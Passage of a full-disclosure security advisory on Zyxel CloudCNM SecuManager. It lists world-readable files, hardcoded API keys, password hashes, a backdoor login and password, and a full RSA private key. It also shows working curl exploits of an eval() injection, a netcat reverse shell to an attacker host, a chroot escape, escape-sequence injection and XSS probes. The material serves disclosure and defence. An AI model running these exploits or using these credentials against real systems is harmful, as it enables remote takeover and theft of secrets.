drwxr-xr-x 2 210 210 4096 Feb 29  2016 tmp
-rw-r--r-- 1 210 210    0 Jul 12  2016 .removed
-rwxr-xr-x 1 210 210    5 Mar  6  2018 .layout
drwxr-xr-x 3 210 210 4096 Mar  6  2018 .
drwxr-xr-t 6 210 210 4096 Dec 20  2019 ..
root@chopin:/opt/axess/opt/axess/var/blobstorage#
```

The `Data.fs` file has also wrong permissions and is world-readable:

```
root@chopin:/opt/axess/opt/axess/var/blobstorage# ls -la /opt/axess/opt/axess/var/filestorage/Data.fs
-rw-r--r-- 1 210 210 31398638 Mar  6  2018 /opt/axess/opt/axess/var/filestorage/Data.fs
```

This file contains **cookies, password, hashes, access controls parameters, python code, serialized python variables and logs from TR-069**:

```
U<$2a$04$8B2Na1n.pzBrMw.8CTSBG.zDzWXnJug.qyvRnN/AxYhVFqkhFcmZ2q

U*{SSHA}q3rGsS15vOGeM6Dv0xuwlF0uq91oIHoz0mD8q

# {'CommandResponseList': {'CommandResponse': {'COMMAND': {'ERRNO': u'0', 'ERRMSG': u'OK', 'FORMAT': {'DATASET': {'ATT
RIBUTE': [{'_Activate': u'YES'}, {'_ACS_URL': u'http://192.168.50.2:7549/V6ABQNTPYG'}, {'_ACS_Username': u'Wd6XbWa04D7
Y'}, {'_ACS_Password': u'6H0pyh1IlyW8'}, {'_Username': ''}, {'_Password': ''}, {'_Server_Type': u'TR069 ACS'}, {'_Peri
odic_Inform': u'ENABLE'}, {'_Periodic_Inform_Interval': u'900'}, {'_HTTPS_Authentication': u'YES'}, {'_Vantage_Certifi
cate': u'axess_dummy.crt'}, {'_CNM_ID_Switch': u'NO'}, {'_Auto_get_ACS_Activate': u'NO'}, {'_CNM_ID': ''}, {'_XMPP_Act
ivate': u'YES'}, {'_XMPP_Username': u'a2'}, {'_XMPP_Domain': u'chopin'}, {'_XMPP_Resource': u'EC43F6FCC646'}, {'_XMPP_
Host': u'192.168.50.2'}]}}}}}}, 'ScriptFile': u'/etc/zyxel/ftp/.tmp/tr069download.dat', 'StartTime': u'2017-08-30T09:5
4:25', 'CompleteTime': u'2017-08-30T09:54:25'}

#subtree = {'CommandResponseList': {'CommandResponse': {'COMMAND': {'ERRNO': u'0', 'ERRMSG': u'OK', 'FORMAT': {'DATASE
T': {'DATASET': {'ATTRIBUTE': [{'DS_VALUE': u'P2P_201506181030'}, {'IKD_ID': u'3'}, {'negotiation_mode': u'main'}, {'S
A_lifetime': u'86400'}, {'key_group': u'group2'}, {'NAT_traversal': u'yes'}, {'dead_peer_detection': u'yes'}, {'fall_b
ack': u'deactivate'}, {'fall_back_check_interval': u'300'}, {'authentication_method': u'pre-share'}, {'pre_shared_ke
y': u'87654321'}, {'certificate': u'default'}, {'user_ID': ''}, {'type': ''}, {'VPN_connection': u'P2P_201506181030'},
{'vcp_reference_count': u'0'}, {'IKE_version': u'IKEv1'}, {'active': u'yes'}], 'DATASET': [{'ATTRIBUTE': [{'DS_VALUE':
u'1'}, {'encryption': u'3des'}, {'authentication': u'sha'}]}, {'ATTRIBUTE': [{'DS_VALUE': u'192.168.50.3'}, {'type':
u'ip'}]}, {'ATTRIBUTE': [{'DS_VALUE': u'1'}, {'address': u'192.168.50.8'}]}, {'ATTRIBUTE': [{'DS_VALUE': u'2'}, {'addr
ess': u'0.0.0.0'}]}, {'ATTRIBUTE': [{'DS_VALUE': u'B0B2DC7189C4'}, {'type': u'fqdn'}]}, {'ATTRIBUTE': [{'DS_VALUE':
u'201506181030'}, {'type': u'fqdn'}]}, {'ATTRIBUTE': [{'DS_VALUE': u'no'}, {'type': ''}, {'method': ''}, {'username':
''}, {'password': ''}]}, {'ATTRIBUTE': [{'DS_VALUE': u'no'}, {'type': ''}, {'aaa_method': ''}, {'allowed_user': ''},
{'allowed_auth_method': u'mschapv2'}, {'username': ''}, {'auth_method': u'mschapv2'}, {'password': ''}]}]}}}}}}}, 'Scri
ptFile': u'/etc/zyxel/ftp/.tmp/tr069download.dat', 'StartTime': u'2017-06-21T04:10:09', 'CompleteTime': u'2017-06-21T0
4:10:09'}
```

Exposing this service on the WAN is likely to be a bad idea and will result as a pre-auth RCE as `axess`.

Details - MyZyxel 'Cloud' Hardcoded Secret

The device can connect to the MyZyxel service. The code responsible to exchange information between the appliance and the 'Cloud' is written in java.

The JAR file is executed from `myzyxel.pyc` using `subprocess.Popen`:

```
def decrypt(encrypted_string, encrypted_secret_key, action='aes_decode_with_plain_key'):
    JAVA_PROGRAM = 'java'
    Delegate_Util = '/opt/axess/Extensions/custom_code/MZCDelegate-protect.jar'
    RESULT_DECODING = 'UTF-8'
    sp = subprocess.Popen([JAVA_PROGRAM, '-jar', Delegate_Util, action, encrypted_secret_key, encrypted_string], stdout=
    [...]
```

The `MZCDelegate-protect.jar` file contains specific Zyxel code for encryption and has an interesting hardcoded resource file (`IV.dat`).

When reading the java code, it appears this `IV.dat` resource is used as as Secret Key along with a defined Initialization Vector (containing only 0s).

It seems this behavior may not completely follow best practices when dealing with encryption:

```
[...]
public final String a(String str) {
    IvParameterSpec ivParameterSpec = new IvParameterSpec(new byte[]{0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0});
    ObjectInputStream objectInputStream = new ObjectInputStream(getClass().getResourceAsStream("/IV.dat"));
    try {
        Cipher instance = Cipher.getInstance("AES/CBC/PKCS5Padding");
        instance.init(2, (SecretKeySpec) objectInputStream.readObject(), ivParameterSpec);
        String str2 = new String(instance.doFinal(Base64.decodeBase64(str)));
        objectInputStream.close();
        return str2;
    }
[...]
```

Content of `IV.dat`:

```
vm# hexdump -C ./resources/IV.dat
00000000  ac ed 00 05 73 72 00 1f  6a 61 76 61 78 2e 63 72  |....sr..javax.cr|
00000010  79 70 74 6f 2e 73 70 65  63 2e 53 65 63 72 65 74  |ypto.spec.Secret|
00000020  4b 65 79 53 70 65 63 5b  47 0b 66 e2 30 61 4d 02  |KeySpec[G.f.0aM.|
00000030  00 02 4c 00 09 61 6c 67  6f 72 69 74 68 6d 74 00  |..L..algorithmt.|
00000040  12 4c 6a 61 76 61 2f 6c  61 6e 67 2f 53 74 72 69  |.Ljava/lang/Stri|
00000050  6e 67 3b 5b 00 03 6b 65  79 74 00 02 5b 42 78 70  |ng;[..keyt..[Bxp|
00000060  74 00 03 41 45 53 75 72  00 02 5b 42 ac f3 17 f8  |t..AESur..[B....|
00000070  06 08 54 e0 02 00 00 78  70 00 00 00 20 ac d3 eb  |..T....xp... ...|
00000080  1d 3c c1 af 97 82 59 ab  2b d5 00 9d 64 1f b5 1c  |.<....Y.+...d...|
00000090  bf 49 ed 2a 23 7c 65 f0  97 54 cc 88 09           |.I.*#|e..T...|
0000009d
```

Finally, it is interesting to note that `myzyxel.pyc` contains also hardcoded credentials:

```
user_key_id = '4B1D916BE2FA76042316'
user_secret = 'PAZsJJ55frFmNivjAzgjYPC4fCQc3Wi9WVVZ5w=='
```

Details - Hardcoded Secrets, API

When reading the source code of the web (Python) application, it appears some critical variables are being imported:

```
root@chopin:/opt/axess/opt/axess# cat /opt/axess/opt/axess/zyxel/zyxel_customizations/live.CloudCNMEntryPoint/config/c
onfig.py
axess_config = container.TR69Utils.get_axess_default_config()
config = {
    "zyxel_portal": {
        "host": axess_config.get('ZYXEL_PORTAL_HOST'),
        "app_key": axess_config.get('APP_KEY'),
        "login_redirect_uri": "/live/CloudCNMEntryPoint",
        "logout_redirect_uri": "/live/CloudCNMEntryPoint"
    }, "oauth_secret_key": axess_config.get('OAUTH_SECRET_KEY'),
    "jwt_secret": axess_config.get('SERVER_ACCESS_SECRET'),
    "jwt_secret_id": axess_config.get('SERVER_ACCESS_KEY_ID'),
    "account_api_url": axess_config.get('ACCOUNT_API_URL'),
    "https_verify": axess_config.get('HTTPS_VERIFY') == True,
}
```

The hardcoded configuration parameters come directly from the `/opt/axess/etc/default/axess` file:

```
NBI_USER="admin"
NBI_PASS="ax"
# Zyxel specific parameters
SERVER_ACCESS_KEY_ID=""
SERVER_ACCESS_SECRET=""
CNMS_API_URL="https://api.myzyxel.com/v1/my/cloud_cnms"
SECU_API_URL="https://api.myzyxel.com/v2/my/secu_managers"
APP_KEY="85ca73265e977fd46805163b8f7d66b0395b56f31b7e5850f2514f10d41a482b"
OAUTH_SECRET_KEY="SvaK1LoGZMu8ZgZ6TKJGCwx+xiEBooSLmaQUiyAyUDTDbHFZtT3PCob9QL/pfzA3oGw0t0ANVO4KTbkrAwonP4lL+ax0ijqS9cAt
TPGSMfw="
ZYXEL_PORTAL_HOST="https://portal.myzyxel.com/"
DECRYPT_URL=""
```

Furthermore, the permissions of this file allows any user to read this file:

```
root@chopin:/opt/axess/opt/axess# ls -la /opt/axess/etc/default/axess
-rw-r--r-- 1 root root 2607 Mar  6  2018 /opt/axess/etc/default/axess
```

These hardcoded keys are used for secure communications between the appliance and the 'Cloud' management.

Details - Predefined passwords for admin accounts

By default, we can extract the pre-defined admin and the pre-defined users from mysql:

```
mysql> select * from Administrator_users;
+-------+--------------------------------------------------------------------------------------------------------------
-----------------------------------------------------------------------------------------------------------------------
---------------------------------------------------------+
| uid   | props
|
+-------+--------------------------------------------------------------------------------------------------------------
-----------------------------------------------------------------------------------------------------------------------
---------------------------------------------------------+
| admin | {'username': 'admin', 'created_ts': 'Mon Mar 21 15:48:12 2016', 'roles': (), 'authdbid': 'Administrator-9113
24', 'created_by': 'axiros', 'miscProps': {}, 'additional_props': {'fullname': ''}, 'password': '$2a$04$O2K8FGHtvfaLE7
QaIVlgP.GO0CWfrwwBuFBRNTvghCrfvf.nZAg0C', 'id': 'admin'} |
+-------+--------------------------------------------------------------------------------------------------------------
-----------------------------------------------------------------------------------------------------------------------
---------------------------------------------------------+
1 row in set (0.00 sec)

mysql> select * from Users_users;
+-------+--------------------------------------------------------------------------------------------------------------
-----------------------------------------------------------------------------------------------------------------------
--------------------------------------------------------------------------------------------------------------+
| uid   | props
|
+-------+--------------------------------------------------------------------------------------------------------------
-----------------------------------------------------------------------------------------------------------------------
--------------------------------------------------------------------------------------------------------------+
| admin | {'username': 'admin', 'created_ts': 'Fri May  8 11:25:20 2015', 'roles': ['Manager'], 'authdbid': 'Users-342
940', 'password_change_ts': 'Mon Jun  8 15:45:45 2015', 'created_by': 'axiros', 'miscProps': {}, 'additional_props':
{'fullname': ''}, 'password': '$2a$04$4YkCCSqUFy4hf/5WluCok./OVGe2LSQZNF4IR4Je5H7xqzfMrivmm', 'id': 'admin'} |
+-------+--------------------------------------------------------------------------------------------------------------
-----------------------------------------------------------------------------------------------------------------------
--------------------------------------------------------------------------------------------------------------+
```

By doing some forensic, it is also trivial to extract previous admin/users:

```
root@chopin:/opt/mysql/var/lib/mysql/live# strings Administrator_users.*
{'username': 'admin', 'created_ts': 'Mon Mar 21 15:48:12 2016', 'roles': (), 'authdbid': 'Administrator-911324', 'crea
ted_by': 'axiros', 'miscProps': {}, 'additional_props': {'fullname': ''}, 'password': '$2a$04$O2K8FGHtvfaLE7QaIVlgP.GO
0CWfrwwBuFBRNTvghCrfvf.nZAg0C', 'id': 'admin'}
, 'id': 'admin'}
me': 'greg', 'created_ts': 'Mon Oct 12 13:01:38 2015', 'roles': (), 'authdbid': 'Administrator-911324', 'password_chan
ge_ts': 'Thu Mar  3 09:33:36 2016', 'created_by': 'axiros', 'miscProps': {}, 'additional_props': {'fullname': ''}, 'pa
ssword': '$2a$04$ZKtY/VngGeHngrO55Rv.N.I3rPXdUuY3tEC3Tg1LuGSUwJJIOR3PW', 'id': 'greg'}
me': 'yjyeh', 'created_ts': 'Wed Feb 17 11:47:07 2016', 'roles': (), 'authdbid': 'Administrator-911324', 'created_by':
'lorinyeh', 'miscProps': {}, 'additional_props': {'fullname': ''}, 'password': '$2a$04$rhS/v/aR8rkBCXL0f9iD.OhT9Gb9hwu
vh.0KpuQBLgFfZzMMOeCnS', 'id': 'yjyeh'}
me': 'wang', 'created_ts': 'Tue Feb 23 22:24:11 2016', 'roles': (), 'authdbid': 'Administrator-911324', 'password_chan
ge_ts': 'Tue Feb 23 22:49:27 2016', 'created_by': 'axiros', 'miscProps': {}, 'additional_props': {'fullname': ''}, 'pa
ssword': '$2a$04$ZbDh/hVwIR7vhykP2Du2eO6r4NcKE2kzKX3/./j9dL14JrO8FR5FS', 'id': 'wang'}
': 'ir', 'created_ts': 'Wed Mar  2 23:30:58 2016', 'roles': (), 'authdbid': 'Administrator-911324', 'password_change_t
s': 'Wed Mar  2 23:31:34 2016', 'created_by': None, 'miscProps': {}, 'additional_props': {'fullname': 'Axiros Gmbh Ing
o Rubach'}, 'password': '$2a$04$RxHVLGGKb3E6fhd32FJWSeObJmQpcEDJM62lgzL8bxLqPDsH9LSdi', 'id': 'ir'}
admin
yjyeh
```

These information can be useful to find backdoor access.

Details - Insecure management over the 'Cloud'

By default, myzxel.pyc used for communication to the 'Cloud' uses some hardcoded variables for communication over HTTPS:

```
SERVER_ACCESS_KEY_ID = get_cfg_val('SERVER_ACCESS_KEY_ID')
SERVER_ACCESS_SECRET = get_cfg_val('SERVER_ACCESS_SECRET')
CNMS_API_URL = get_cfg_val('CNMS_API_URL')
HTTPS_VERIFY = get_cfg_val('HTTPS_VERIFY') == 'true'

SERVER_ACCESS_KEY_ID will be generated by the Cloud server
SERVER_ACCESS_SECRET will be generated by the Cloud server
CNMS_API_URL will be https://api.myzyxel.com/v2/my/secu_managers
```

The function `get_account_info` uses the `account_id`, the `jwt_secret` and the `jwt_secret_id`:

```
106 def get_account_info(account_id, jwt_secret, jwt_secret_id):
[...]
107     payload = [...]                                 # 1. generation of the payload
110     jwt_token = jwt_gen(payload, jwt_secret)        # 2. jwt_gen encodes the post payload using the empty jwt_secret
111     post_data = {'access_key_id': jwt_secret_id,    # 3. new post data contains access_key_id=&token=post-data
112        'token': jwt_token}                          #
113     try:
114         r = requests.get(SECU_API_URL, verify=HTTPS_VERIFY, data=post_data)
115         r.raise_for_status()              #      ^^- 4. the request is sent to https://api.myzyxel.com/v2/my/secu_m
116         response = r.json()
117     except requests.exceptions.ConnectionError as e:
118         response = 'ConnectionError'
119
120     return response

102 def jwt_gen(payload, secret, algorithm='HS256'):
103     return jwt.encode(payload, secret, algorithm)
```

The `jwt_secret` and `jwt_secret_id` are generated as unique key for each appliance.

But an attacker can extract them using backdoors APIs (please read the sub-section Backdoor APIs) or by using the anonymous access to the ZODB interface and decrypting the secret `account_id` value.

Also, the connection to the cloud in myzyxel.pyc is done over HTTPS. The Python script is using the requests module, with the HTTPS_VERIFY variable set to `false` from `/opt/axess/etc/default/axess`:

```
root@chopin:~# cat /opt/axess/etc/default/axess
[...]
# true or false is allowed
HTTPS_VERIFY=false
[...]
```

When reading `myzyxel.pyc`, the value of `HTTPS_VERIFY` is always `false`. So the verification of certificate is never done from the appliance, allowing an attacker to MITM the HTTPS requests:

```
19 HTTPS_VERIFY = get_cfg_val('HTTPS_VERIFY') == 'true'
[...]
114         r = requests.get(SECU_API_URL, verify=HTTPS_VERIFY, data=post_data)
[...]
146         r = requests.patch(url, verify=HTTPS_VERIFY, data=post_data)
[...]
180         r = requests.patch(url, verify=HTTPS_VERIFY, data=post_data)
[...]
229     r = requests.post(url, verify=HTTPS_VERIFY, data=post_data)
[...]
253     r = requests.get(url, verify=HTTPS_VERIFY, data=post_data)
[...]
279     r = requests.patch(url, verify=HTTPS_VERIFY, data=post_data)
```

The non-verification of SSL seems to be a standard practice in the code. e.g.:

```
ret = requests.get('https://service-dispatcher.cloud.zyxel.com/s/geoip/v1/geoInfo?ipAddress=' + cpeIp, verify=False, tim
```

It is recommended to avoid using the cloud functionality (api.myzyxel.com - 54.174.11.58 AWS, 18.234.22.109 AWS and 54.84.22.89 AWS).

Details - xmppCnrSender.py log escape sequence injection

The Python script `xmppCnrSender.py` is running as root and provides an open HTTP/1.1-to-XMPP gateway on port 8083/tcp on the WAN interface for CPEs management.

The logs written in `/var/log/axxmpp.log` are not sanitized and an attacker can send escape sequence injections.

```
echo -en "GET /\x1b]2;owned?\x07\x0a\x0d\x0a\x0d" > payload
nc -v [ip] 8083 < payload
```

(code from from http://www.ush.it/team/ush/hack_httpd_escape/adv.txt (http://www.ush.it/team/ush/hack_httpd_escape/adv.txt))

This is likely to change the admin's terminal title to `owned?` when he runs `cat /var/log/axxmpp.log` or `tail -f /var/log/axxmpp.log` .

Also, this will add some fun to this long journey.

Details - xmppCnrSender.py no authentication and clear-text communication

The Python script `xmppCnrSender.py` is running as root and provides a open HTTP/1.1-to-XMPP gateway on port 8083/tcp on the WAN interface for CPEs management.

2 Apis are provided:

- /registerCpe/?JID=%(username)s&PWD=%(password)s
- /cnr/?JID=%(jabberid)s&CRUs=%(username)s&CRP=%(password)s

By default the traffic is not encrypted.

Furthermore, the registration is open and anyone can create accounts.

Details - Incorrect HTTP requests cause out of range access in Zope

By default, Apache2 is running on ports 9673/tcp and 80/tcp on the WAN interface. It provides an interface to a Zope WSGI.

By sending invalid HTTP requests, it is possible to cause exceptions in Zope because of the lack of the '/' in the HTTP version:

```
vm# telnet 192.168.1.1 9673
GET / yolo <---- yolo is used instead of 'PROTOCOL/VERSION'


HTTP/1.1 500 Internal Server Error
[...]

An error occurred.  See the error logs for more information.
<type 'exceptions.IndexError'> - list index out of range
```

The problem appears to come from the Zope library: https://github.com/zopefoundation/Zope/blob/master/src/ZPublisher/WSGIPublisher.py#L347 (https://github.com/zopefoundation/Zope/blob/master/src/ZPublisher/WSGIPublisher.py#L347):

```
343        new_response = (
344            _response
[...]
347        new_response._http_version = environ['SERVER_PROTOCOL'].split('/')[1]
```

Details - XSS on the web interface

The webinterface on ports 80/tcp and 9673/tcp is prone to a lot of XSS:

```
vm# curl -v 'http://192.168.1.1:9673/live/CPEManager/AXCampaignManager/handle_campaign_script_link?JSON=1&script_name=
<XSS>'
<XSS>

vm# curl -v 'http://192.168.1.1:9673/live/CPEManager/AXCampaignManager/handle_campaign_script_link?script_name=<ddaaaa
a>'
<a title="<ddaaaaa>" href="/<ddaaaaa>/manage" target="_blank"><ddaaaaa></a>#

vm# curl -v 'http://192.168.1.1:9673/live/CPEManager/AXCampaignManager/generate_sp_link?cid2=<xss>'
<xss>
```

Finding others XSS is left as an exercise for the reader.

Details - Private SSH key

The system contains an hardcoded SSH Key in the TR69 configuration:

```
root@chopin:/opt/axess/opt/axess/AXAssets# cat /opt/axess/opt/axess/AXAssets/default_axess/axess/TR69/Handlers/turboli
nk/sshkeys/id_rsa
-----BEGIN RSA PRIVATE KEY-----
MIICXAIBAAKBgQDC4GnOyypL29jIK3cye/MDRXobza+4gdCF9hUKxKdA/HRpeOB1
vPZ5FuQRFR6tSHACOd5xAMILnWMhu/c4F9o/gDF1ZrfsyUJ39seTVBKQFBesgZlF
Xjmf/zBatrpc0DwvpxY1ql0CHGt8G3OO2f3rbRJBkFTMXfF9xUmEudH4nQIBIwKB
gCFoTKcbg5f5zWQktVkckA8we1U5NBEAT6Hvq9X104d7vC9WjOD70nsoft5bZFg4
Tbc9HtGLGfNczypavKqHvwNFgwryFO2pzlv6NsqvqPXi56rO5GNb5yGrve6k+4aH
X3BDfxd1SbRIYZuYAgAmLXe8yDcDRixBKbrVQUtJXhULAkEA8T6HyD0Lp2wKfwgo
nMJ7Qz5F3h/2cSCyYyLHj91i56m9KcLJBiJ2AeVYO4hcV3InlOpQ7osU5cdhJK0S
QRnAkQJBAM7L2G+rdsNNVO7VIbahJSU8rOyaYKpUqTI5ow8hvn2QY55DY81h8HRM
wuk03E6CiWBCr7lbCqa2sBn05fdovU0CQQC6Gkt9NmgTcJph/vrCEl8WncDeja97
12UKpc0l1qtiQRzls4Uh/VO4UdZZz5exLC0pvBKMIiYQV/p7YPDTIn6bAkEAn4dP
MZLmlqlext7uHyva05U08Qlgg2Xhm8YQEvzGJllxa3XQpcCU7ACznfWUAgztogeO
33IeKNYS0jHzOzOKtwJBAKnIlBv1GAW8vEcmTC2NRPCPm9Ta//04rk6DTsl1SaU4
8Zav73P9sJWbnOCzBRI7qaHjK6Zx9L9h04bdk5uvdeE=
-----END RSA PRIVATE KEY-----
root@chopin:/opt/axess/opt/axess/AXAssets#
```

Details - Backdoor APIs

Some APIs are reachable without authentication and don't have any documentation. The codes exist as object inside the ZDOB:

- http://[ip]:9673/update_all_realm_license?cnmid=%s
- http://[ip]:9673/zy_install_user
- http://[ip]:9673/zy_install_user_key
- http://[ip]:9673/zy_get_user_id_and_key?cnmid=%s' % cnmid <- allows to dump the 'access_key_id' and the 'secret_access_key'
- http://[ip]:9673/zy_get_instances_for_update
- http://[ip]:9673/live/GLOBALS?key=CLOUDCNM
- http://[ip]/update_all_realm_license?cnmid=%s
- http://[ip]/zy_install_user
- http://[ip]/zy_install_user_key
- http://[ip]/zy_get_user_id_and_key?cnmid=%s' % cnmid <- allows to dump the 'access_key_id' and the 'secret_access_key'
- http://[ip]/zy_get_instances_for_update
- http://[ip]/live/GLOBALS?key=CLOUDCNM

`/zy_get_user_id_and_key` seems to allow an attacker to dump the `access_key_id` and the `secret_access_key` used for the 'Cloud' configuration, without authentication.

Details - Backdoor management access and RCE

The web interface on ports 80/tcp and 9673/tcp has a backdoor management access allowing to download and upload python code, templates, webpages and ZEXPs.

The credentials are: `axiros` / `q6xV4aW8bQ4cfD-b`

We are using the available `zcp.py` tool in `/opt/axess/opt/axess/zyxel` . This pre-written tool allows to upload some files remotely and update the ZODB objects.

We download the files:

```
vm# ./zcp.py -v -r -f -u axiros -p q6xV4aW8bQ4cfD-b http://192.168.1.1:9673/live/CPEManager/AXCampaignManager dir
axess root@chopin:/opt/axess/zyxel/tmp# ./zcp.py -v -r -f -u axiros -p q6xV4aW8bQ4cfD-b http://192.168.1.1:9673/live/C
PEManager/AXCampaignManager dir
DEBUG:root:Download mode engaged
INFO:requests.packages.urllib3.connectionpool:Starting new HTTP connection (1): 192.168.1.1
DEBUG:requests.packages.urllib3.connectionpool:"GET /live/manage_main?__ac_name=axiros&__ac_password=q6xV4aW8bQ4cfD-b
HTTP/1.1" 200 4335
DEBUG:requests.packages.urllib3.connectionpool:"GET /live/CPEManager/AXCampaignManager/manage_main HTTP/1.1" 200 3680
DEBUG:requests.packages.urllib3.connectionpool:"GET /live/CPEManager/AXCampaignManager/charts/manage_main HTTP/1.1" 20
0 3374
DEBUG:root:Downloading .py at charts campaign_line_chart_html
[...]
DEBUG:requests.packages.urllib3.connectionpool:"GET /live/CPEManager/AXCampaignManager/campaign_log_actions/document_s
rc HTTP/1.1" 200 347
Download complete at 11:11:14, took     0.2794 Seconds
```

We add the python code inside `dir/handle_campaign_script_link.py` :

```
vm# echo 'return 1 + 1' > dir/handle_campaign_script_link.py
```

We then upload the updated python file using the provided zcp.py tool:

```
vm# ./zcp.py -v -r -f -u axiros -p q6xV4aW8bQ4cfD-b dir http://192.168.1.1:9673/live/CPEManager/AXCampaignManager
DEBUG:root:Upload mode engaged
INFO:requests.packages.urllib3.connectionpool:Starting new HTTP connection (1): 192.168.1.1
DEBUG:requests.packages.urllib3.connectionpool:"GET /live/manage_main?__ac_name=axiros&__ac_password=q6xV4aW8bQ4cfD-b
HTTP/1.1" 200 4335
DEBUG:requests.packages.urllib3.connectionpool:"GET /live/CPEManager/AXCampaignManager/manage_main HTTP/1.1" 200 3680
[...]
```

Testing the execution of Python:

```
vm# curl 'http://192.168.1.1:9673/live/CPEManager/AXCampaignManager/handle_campaign_script_link'
2
```

Python code is sucessfully executed on the appliance as `axess` .

Details - Pre-auth RCE with chrooted access

It is possible to achieve RCE by abusing an insecure API due to unsafe calls to eval():

```
vm# curl "http://192.168.1.1:9673/live/CPEManager/AXCampaignManager/delete_cpes_by_ids?cpe_ids=__import__('os').system
('id>/tmp/a')"
```

Output is stored in the "Axess" chroot:

```
root@chopin:/opt/axess/tmp# cat /opt/axess/tmp/a
uid=210(axess) gid=210(axess) groups=210(axess)
```

It is also possible to get a connect-back shell:

```
vm# curl "http://192.168.1.1:9673/live/CPEManager/AXCampaignManager/delete_cpes_by_ids?cpe_ids=__import__('os').system
('nc+-e+/bin/sh+192.168.1.2+1337')"
```

On 192.168.1.2, the attacker receives the shell:

```
vm# nc -l -v -p 1337
listening on [any] 1337 ...
connect to [192.168.1.2] from (UNKNOWN) [192.168.1.1] 39910
id
uid=210(axess) gid=210(axess) groups=210(axess)
uname -ap
Linux chopin 3.2.0-5-amd64 #1 SMP Debian 3.2.96-3 x86_64 GNU/Linux
```

Also, even if the shell is within a chrooted environment, it is possible to break the chroot using a LPE and the fact that /proc is mounted inside the chroot:

```
vm# nc -l -v -p 1337
listening on [any] 1337 ...
connect to [192.168.1.2] from (UNKNOWN) [192.168.1.1] 39910
id
uid=0(root) gid=0(root) groups=0(root)
ls / | head
bin
boot
dev
etc
home
lib
lib64
media
mnt
opt
chroot /proc/1/root     # PRISON BREAK!
ls / | head
bin
boot
dev
etc
home
initrd.img
initrd.img.old
lib
lib64
lost+found
```

Vendor Response

Full-disclosure is applied as we believe some backdoors are intentionally placed by the vendor.

Also, there are likely to be way more 0day vulnerabilities in the appliance, but we decided not to dig more due to time constraints.

On a side note, the solution also contains some SQLi, some references to ISPs in Greece(?!?) and Germany.

Report Timeline

- Dec 20, 2019: Vulnerabilities found and this advisory was written.
- Mar 09, 2020: A public advisory is sent to security mailing lists.
- Jun 26, 2020: MITRE provides CVE-2020-15312, CVE-2020-15313, CVE-2020-15314, CVE-2020-15315, CVE-2020-15316, CVE-2020-15317, CVE-2020-15318, CVE-2020-15319, CVE-2020-15320, CVE-2020-15321, CVE-2020-15322, CVE-2020-15323, CVE-2020-15324, CVE-2020-15325, CVE-2020-15326, CVE-2020-15327, CVE-2020-15328, CVE-2020-15329, CVE-2020-15330, CVE-2020-15331, CVE-2020-15332, CVE-2020-15333, CVE-2020-15334, CVE-2020-15335, CVE-2020-15336, CVE-2020-15337, CVE-2020-15338, CVE-2020-15339, CVE-2020-15340, CVE-2020-15341, CVE-2020-15342, CVE-2020-15343, CVE-2020-15344, CVE-2020-15345, CVE-2020-15346, CVE-2020-15347, CVE-2020-15348.

Credits

These vulnerabilities were found by Pierre Kim (@PierreKimSec (https://twitter.com/PierreKimSec)) and Alexandre Torres.

References

https://pierrekim.github.io/advisories/2020-zyxel-0x00-secumanager.txt (https://pierrekim.github.io/advisories/2020-zyxel-0x00-secumanager.txt)

https://pierrekim.github.io/blog/2020-03-09-zyxel-secumanager-0day-vulnerabilities.html (https://pierrekim.github.io/blog/2020-03-09-zyxel-secumanager-0day-vulnerabilities.html)

Disclaimer

published on 2020-03-09 00:00:00 by Pierre Kim <pierre.kim.sec@gmail.com>